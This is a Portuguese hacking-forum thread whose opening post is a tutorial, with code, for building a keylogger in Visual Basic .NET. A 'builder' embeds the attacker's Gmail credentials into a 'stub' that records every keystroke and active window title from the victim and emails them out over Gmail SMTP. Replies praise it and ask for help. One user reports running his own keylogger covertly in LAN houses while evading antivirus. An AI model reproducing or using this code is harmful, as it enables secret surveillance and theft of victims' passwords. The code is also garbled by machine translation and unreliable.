Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Criar seu proprio Keylogger no Visual Basic

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Criar seu proprio Keylogger no Visual Basic

    Tutorial sobre como fazer um keylogger em Visual Basic. NET, também chamado VB8. Antes de começarmos, eu vou explane-lhe mais alguma coisa sobre o Visual Basic. O Visual Basic é uma linguagem de programação criada pela Microsoft Corporation. Sua linguagem de programação mais populares no mundo, é fácil e bom. Para que você acabou de começar com o Visual Basic, este será ótimo tutorial para aprender um pouco mais sobre isso. Além disso, se você está lendo este tutorial, por favor não apenas copiar / colar .. a melhor maneira de aprender é ler e estudar fonte. Mesmo se o seu avanço e difícil de entender, você vai encontrar maneira de compreendê-lo .. como eu.

    OK, agora eu vou explane algo sobre linguagens de programação e como os computadores compreendê-los. Um computador não pode entender qualquer pessoas a língua falada. A língua falada como o Inglês é simplesmente demasiado ambígua geral e para computadores de entender. Temos de nos adaptar à máquina e aprender a linguagem de computador para que o computador possa entender. Aqui é onde entra em visual basic - quando você digita o código-fonte do Visual Basic para o computador, o computador processa estas declarações em linguagem Visual Basic.
    ATENÇÃO: não funciona no Win7 & Vista porque o nome da dll que eu uso para obter as chaves não é esse nome para o Vista e win7.! Você pode google o nome. Dll biblioteca para encontrar para Windows7 & Vista
    1.Download Microsoft Visual Studio Express - Construir aplicações de borda de corte do Windows de graça se você não já.

    2.
    • Executar o Visual Basic
    • Na guia File clique> Novo projeto
    • Aplicação Windows> "Keylogger Builder"> Clique em Ok

    3.
    Alterar o seguinte a partir das propriedades do Form1:

    FormBorderStyle = FixedSingle
    MaximizeBox = False
    MinimizeBox = False
    Mostrar Ícone = False
    StartPosition = CenterScreen
    Text = Keylogger Builder




    Da caixa de ferramentas acrescentar:

    • TextBox1 - O GMail Username textbox
    • Textbox2 - A caixa de texto Senha Gmail
    • Button1 - O botão Build, Alterar texto para: Build
    • Label1 - Alterar texto para: Nome de usuário do Gmail
    • Label2 - Alterar texto para: senha do Gmail


    4.Now quando você adiciona todos esses, em cima do código de acrescentar:
    Código:

    Imports System.IO

    Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:

    Código:

    Stub Dim, texto1, texto2 As String
    Const FileSplit = "keylogger @ @"

    Agora, quando você fez com que, simplesmente dê um duplo clique Button1 e adicione:
    Código:

    text1 = TextBox1.Text
    text2 = TextBox2.Text
    FileOpen (1, Application.StartupPath & "\ Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    stub = Space (LOF (1))
    FileGet (1 stub,)
    FileClose (1)
    Se File.Exists ("server.exe") Then
    My.Computer.FileSystem.DeleteFile ("server.exe")
    End If
    FileOpen (1, Application.StartupPath & "\ server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut (1 stub, e FileSplit & text1 & FileSplit & text2 & FileSplit)
    FileClose (1)
    MsgBox ("O Server.exe é edificada!")

    Agora você tem seu construtor e agora vamos passar para Stub.

    5.

    • Executar o Visual Basic
    • Na guia File clique> Novo projeto
    • Aplicação Windows> "Stub"> Clique em Ok

    6.Change o seguinte a partir das propriedades do Form1:

    FormBorderStyle = FixedToolWindow
    StartPosition = CenterScreen
    Text = (sem texto)
    WindowsState = Minimizado



    Da caixa de ferramentas acrescentar:

    • Textbox1 - Key Logger (acompanhar tudo o que escrever vítima)
    • Textbox2 - GMail Usuário
    • TextBox3 - senha do Gmail
    • Timer1 - Intervalo Carregar
    • Timer2 - Retorna o nome da janela onde se keylogger
    teclas (userful)
    • Timer3 - Get Chaves



    7.
    Agora, quando você adicionar todos esses, em cima do código de acrescentar:
    Código:

    Imports System.IO
    Importações System.Net.Mail

    Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:
    Código:

    Opções de Dim (), texto1, texto2 As String
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Dim resultado As Integer
    Const FileSplit = "keylogger @ @"

    Agora clique duas vezes Timer1 e escrever seguinte código:
    Código:

    MailSetup Dim As New MailMessage
    MailSetup.Subject = My.Computer.Name & ":"
    MailSetup.To.Add (TextBox2.Text)
    MailSetup.From = New MailAddress (TextBox2.Text)
    MailSetup.Body = TextBox1.Text
    SMTP Dim SmtpClient ("smtp.gmail.com")
    SMTP.Port = 587
    SMTP.EnableSsl = True
    SMTP.Credentials = Net.NetworkCredential Novo (TextBox2.Text, TextBox3.Text)
    SMTP.Send (MailSetup)
    TextBox1.Clear ()

    E adicione isso como função para o código-fonte:
    BAIXAR COMO ADD FUNÇÃO SE VOCÊ NÃO KNOWGetTheWindwos.rar

    Código:

    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias ​​"GetWindowTextA" (ByVal hWnd como Int32, lpString ByVal As String, ByVal cch Como Int32) como Int32
    Strin Dim As String = Nothing

    GetActiveWindowTitle Private Function () As String
    MyStr As String Dim
    MyStr = New String (Chr (0), 100)
    GetWindowText (GetForegroundWindow, MyStr, 100)
    MyStr MyStr.Substring = (0, InStr (MyStr, Chr (0)) - 1)
    Retorno MyStr
    End Function

    Agora clique duas vezes Timer2 para obter os nomes das janelas ativas:
    Código:

    Se strin <GetActiveWindowTitle> () Em seguida,
    TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle () & "]:" + vbNewLine
    strin GetActiveWindowTitle = ()
    End If

    Agora dê um duplo clique Form1 e escrever seguinte código:
    Código:

    ileOpen (1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
    text1 = Space (LOF (1))
    text2 = Space (LOF (1))
    FileGet (1, text1)
    FileGet (1, text2)
    FileClose (1)
    opções = Split (text1, FileSplit)
    TextBox2.Text = opções (1)
    TextBox3.Text = opções (2)
    Timer1.Start ()
    Timer2.Start ()

    Agora dê um clique duplo código Timer3 e passado:
    Código:

    Para i = 1 To 255
    resultado = 0
    result = GetAsyncKeyState (i)
    Se o resultado = -32.767 Então
    TextBox1.Text = TextBox1.Text + Chr (i)
    End If
    Next i


    Bom galerinha, é isso, boa sorte a quem for monta-lo, e não esqueça, estudem, compreendam e havy fun!!!

    Quem gostou da um "obrigado" pra titia M1r4g3

    See you

    Quem gostou
    Skype: diego.endrygo

    -------------------------------------------------------


    É meu fã? Use minha fan bar ^^






    Quer ajudar nossso fórum e não sabe como?
    Então click na imagem e ajude-nos com os links off
    --------------------------------------------------------

    Sem tempo ou idéias para seus trabalhos escolares/acadêmicos, TCCs, Monografia, projetos, relatórios e afins:

    www.trabalhofacil.com

    Trabalhos rápidos e únicos, só aqui!
    Similar Threads

  • Font Size
    #2
    M1r4g3, voce e simplesmente magnifica.

    Cada topico melhor que o outro.

    Ate agora so tecnica boa, inclusive tava lendo um de seus artigos sobre engenharia social agora pouco.

    E ja tem mais esse agora pra da uma estudada basica.

    Valeu mesmo ein girl..

    Thanks.
    WhiteCollarGroup till I die
    MI5, MI6,NSA,FBI,Army, CIA,Navy,Air Force, Mossad, PF and all this shit can't stop me.

    Comment


    • Font Size
      #3
      Brigadinha Luan... são pessoas como vc que nos incentivam a continuar ^^

      see you
      Skype: diego.endrygo

      -------------------------------------------------------


      É meu fã? Use minha fan bar ^^






      Quer ajudar nossso fórum e não sabe como?
      Então click na imagem e ajude-nos com os links off
      --------------------------------------------------------

      Sem tempo ou idéias para seus trabalhos escolares/acadêmicos, TCCs, Monografia, projetos, relatórios e afins:

      www.trabalhofacil.com

      Trabalhos rápidos e únicos, só aqui!

      Comment


      • Font Size
        #4
        nossa incrível começo semana passada eu seu tópicos ajuda muito, parabéns mesmo viu e muito obrigado
        sigpic

        Comment


        • Font Size
          #5
          MUITO BOM!Eu já desenvolvia meus keyloggers,só que tipo,eu tinha que colocar no código fonte pra qual email eu ia enviar as informações.Agora posso criar um builder.

          Comment


          • Font Size
            #6
            Simples e prudente (66

            O mundo nunca foi tão facil !!
            Gooo!

            Comment


            • Font Size
              #7
              onde eu coloco este codigo:
              4.Now quando você adiciona todos esses, em cima do código de acrescentar:
              Código:

              Imports System.IO
              g_h_o_@hotmail.com
              se pode ajudar

              Comment


              • Font Size
                #8
                4.
                Imports System.IO
                onde eu coloco ?

                Comment


                • Font Size
                  #9
                  onde eu coloco Imports System.IO

                  eu não sei sou noob
                  4.
                  Imports System.IO
                  se alguém pode me ajudar
                  g_h_o_@hotmail.com

                  Comment


                  • Font Size
                    #10
                    Se poder passar a pasta com projeto total so .
                    obrigado!!
                    não sei fazer sempre da erro

                    Comment


                    • Font Size
                      #11
                      Erro .

                      Cara aqui é win 7 e como eu declaro esse "Stub" aqui da um erro .. alguem ajuda ae !

                      Comment


                      • Font Size
                        #12
                        Muito ruim!
                        Ela (ele?) fala de não dar control C Control V mas é exatamente isso que fez e usou o google tradutor...tsc tsc...
                        Esse ai é muito tosco pra não dizer ruim.

                        Eu fiz um em VB6 que usei por um bom tempo em lan houses que dou assistencia que funciona muito bem. Quando o criei, em 2009 nenhum antivirus o acusava, mas apenas em 2012 passou a ser taxado com virus e tive que adicionar manualmente às excessões.
                        Quem quiser posso até criar um tópico. Ele é simples mas funcional às minhas necessidades.

                        Comment


                        • Font Size
                          #13
                          Vb .net

                          alguem poderia me passar um site pra download do VB .NETeu ja caçei e naum achei quem poder me passar um link sem trojan agradeço

                          Comment


                          • Font Size
                            #14
                            muito bom continue assim

                            Comment


                            • Font Size
                              #15
                              ajuda com Keylogger Vb post

                              Postado Originalmente por Mirage Ver Post
                              Brigadinha Luan... são pessoas como vc que nos incentivam a continuar ^^

                              see you
                              Bomdia,
                              Pode me ajudar?
                              Seu post sobre VB keylogger
                              Gostei do modo de Criação do mesmo.
                              Porém já revisei varias vezes e
                              quando clico no server.exe aparece um erro de "Parametro incorreto"
                              pode me explicar como posso tornar funcional a aplicação?
                              Obrigado!

                              att,
                              M1$t&r

                              Comment

                              X
                              Working...
                              X